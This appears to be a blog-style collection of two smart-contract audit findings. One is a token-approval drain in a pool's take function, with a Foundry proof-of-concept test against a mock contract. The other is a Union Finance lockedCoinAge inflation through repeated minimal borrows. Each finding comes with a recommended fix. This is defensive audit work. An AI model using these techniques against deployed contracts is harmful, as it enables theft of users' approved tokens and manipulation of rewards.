Audit Daily Approved Tokens To A Pool Can Be Forced To Take

[H] Audit Daily Approved Tokens To A Pool Can Be Forced To Take

Code snippet

full code link

https://github.com

1
2
3
4
5
6
7
8
9
10
function take(
address borrowerAddress_,
uint256 collateral_,
address callee_,
bytes calldata data_
) external override nonReentrant {
...

_transferQuoteTokenFrom(callee_, result.quoteTokenAmount);
}

Impact

Anyone who invokes the toke function and passes in someone else who approved this pool could take the tokens.

Proof of concept

I use foundry to make the whole test.

  • 1.Firstly,we need to create our own ERC20 token and implement the quote contract.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function setUp() public virtual {
console.log("When transferring tokens...");
alice = address(2);
bob = address(3);

myERC20 = new MyERC20();
quote = new Quote(address(myERC20));

//owner mint some token
myERC20.mint(OWNERAMOUNT);

//send some token to our dear testing user.
myERC20.transfer(alice,SOMEAMOUNT);
myERC20.transfer(bob,SOMEAMOUNT);
}
  • 2.Use bob’s address approved the pool some token.Check the balance of bob after we make the call.
1
2
3
4
5
vm.prank(bob);
myERC20.approve(address(quote), SOMEAMOUNT);

//check bob balance step1.
assertEq(myERC20.balanceOf(bob), SOMEAMOUNT);
  • 3.Use Alice’s address to call the take function which is public within the quote contract.
1
2
3
//alice transfer the approve tokens.
vm.prank(alice);
quote.take(address(bob), SOMEAMOUNT);
  • 4.Finally, we check the balance of bob, if bob’s token has been token by anyone who makes the call.
1
2
//check bob balance step2.
assertEq(myERC20.balanceOf(bob), 0);

Alternatively, consider checking that callee has approved spending quote tokens to msg.sender.

1
2
3
4
5
6
7
8
9
10
function take(
address borrowerAddress_,
uint256 collateral_,
address callee_,
bytes calldata data_
) external override nonReentrant {
...

_transferQuoteTokenFrom(msg.sender, result.quoteTokenAmount);
}

union finance high vulnerable on sherlock audit

union finance high vulnerable on sherlock audit

Full Code Url

1
2
3
stakers[vouch.staker].lockedCoinAge +=
(block.number - _max(lastWithdrawRewards, uint256(vouch.lastUpdated))) *
uint256(vouch.locked);

Summary

Voucher can be counted arbitrary many times in staker’s lockedCoinAge. If a voucher has maximized its trust then its locked is added to the lockedCoinAge each time fully as its lastUpdated is kept intact. This provides a surface to grow lockedCoinAge as big as an attacker wants, increasing it by current_block_difference * vouch.locked on each transaction.

Vulnerability Detail

Code Detail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
uint256 lastWithdrawRewards = getLastWithdrawRewards[vouch.staker];
stakers[vouch.staker].lockedCoinAge +=
(block.number - _max(lastWithdrawRewards, uint256(vouch.lastUpdated))) *
uint256(vouch.locked);
if (lock) {
// Look up the staker and determine how much unlock stake they
// have available for the borrower to borrow. If there is 0
// then continue to the next voucher in the array
uint96 stakerLocked = stakers[vouch.staker].locked;
uint96 stakerStakedAmount = stakers[vouch.staker].stakedAmount;
uint96 availableStake = stakerStakedAmount - stakerLocked;
uint96 lockAmount = _min(availableStake, vouch.trust - vouch.locked);
if (lockAmount == 0) continue;
// Calculate the amount to add to the lock then
// add the extra amount to lock to the stakers locked amount
// and also update the vouches locked amount and lastUpdated block
innerAmount = _min(remaining, lockAmount);
stakers[vouch.staker].locked = stakerLocked + innerAmount;
vouch.locked += innerAmount;
vouch.lastUpdated = uint64(block.number);
} else {
// Look up how much this vouch has locked. If it is 0 then
// continue to the next voucher. Then calculate the amount to
// unlock which is the min of the vouches lock and what is
// remaining to unlock
uint96 locked = vouch.locked;
if (locked == 0) continue;
innerAmount = _min(locked, remaining);
// Update the stored locked values and last updated block
stakers[vouch.staker].locked -= innerAmount;
vouch.locked -= innerAmount;
vouch.lastUpdated = uint64(block.number);
}

Above code is invoked where user called borrow() function with amount>minBorrow:
code

1
2
3
4
5
6
7
8
9
10
11
function borrow(address to, uint256 amount) external override onlyMember(msg.sender) whenNotPaused nonReentrant {
IAssetManager assetManagerContract = IAssetManager(assetManager);
if (amount < minBorrow) revert AmountLessMinBorrow();
if (amount > getRemainingDebtCeiling()) revert AmountExceedGlobalMax();

...

// Call update locked on the userManager to lock this borrowers stakers. This function
// will revert if the account does not have enough vouchers to cover the borrow amount. ie
// the borrower is trying to borrow more than is able to be underwritten
IUserManager(userManager).updateLocked(msg.sender, (actualAmount + fee).toUint96(), true);
1
uint96 lockAmount = _min(availableStake, vouch.trust - vouch.locked);

When vouch.trust == vouch.locked the value of lockAmount goes to zero. And the loop continued.Thus the value of lastUpdated doesn’t updated.

Suppose Bob the staker has a vouch with trust maxxed, i.e. vouch.trust = vouch.locked = 10k DAI. He can setup a second borrower being his own account, some minimal trust, then can run min borrow many, many times, gaining huge stakers[vouch.staker].lockedCoinAge as vouch.lastUpdated aren’t updated and lockedCoinAge grows with a positive some_number_of_blocks * 10k DAI number each time Bob borrows 1 DAI via his second borrower.

Recommendation

1
2
3
4
5
6
7
8
9
10
11
12
13
            uint256 lastWithdrawRewards = getLastWithdrawRewards[vouch.staker];
stakers[vouch.staker].lockedCoinAge +=
(block.number - _max(lastWithdrawRewards, uint256(vouch.lastUpdated))) *
uint256(vouch.locked);
+ vouch.lastUpdated = uint64(block.number);
if (lock) {
...
- vouch.lastUpdated = uint64(block.number);
} else {
...
- vouch.lastUpdated = uint64(block.number);
}